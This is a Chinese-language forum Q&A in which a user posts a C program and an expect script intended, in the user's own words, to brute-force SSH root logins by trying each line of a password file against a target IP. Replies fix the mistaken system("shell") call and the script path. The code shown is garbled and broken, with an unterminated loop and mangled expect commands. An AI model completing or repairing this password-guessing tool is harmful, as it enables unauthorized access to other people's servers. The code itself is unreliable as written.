问题描述
- 大家帮我看一下,这个在C语言里调用shell的对嘛,谢谢
-
#include
#include
int main(int argc,char**argv){
FILE* fp=NULL;
fp=fopen("passwd.txt","r");
char buff[20];
int i;
for(i=0;;i++){
memset(buff,0,sizeof(buff));if(fp==NULL) break; fgets(buff,20,fp); printf("%s",buff); char shell[200]; sprintf(shell,"/home/hht/workspeace/work1/ssh.sh %s %s",argv[1],buff); system("shell"); }
}
我想实现一个暴力破解ssh的小程序,但是完全不会shell,也只能硬着头皮用了,上面的C部分我想把passwd上的每一行代码fgets出来,然后连带ip作为参数传进shell里面,可能是在system调用shell的时候出的问题,当然也可能所有都有问题。下面是shell的代码
#!/usr/bin/expect -f
set passwd $2
#密码
set host $1
#目标主机地址
set name root
#用户名spawn ssh $host -l $name
expect "root@$host’s password:"
send "$passwdr"send"unamen"
expect"LINUX"
send_user"success"expect"Permission denied,please try again."
send_user"wrongnumber"
~用expect这样可以吗,谢谢大家
解决方案
错误是无限的
sh: 1: shell: not found
sh: 1: shell: not found
sh: 1: shell: not found
sh: 1: shell: not found
sh: 1: shell: not found
sh: 1: shell: not found
sh: 1: shell: not found
sh: 1: shell: not found
sh: 1: shell: not found
解决方案二:
system("shell");
--》 system(shell);
解决方案三:
目录不对,
/home/hht/workspeace/work1/ssh.sh 没有这个文件
时间: 2024-09-22 19:55:23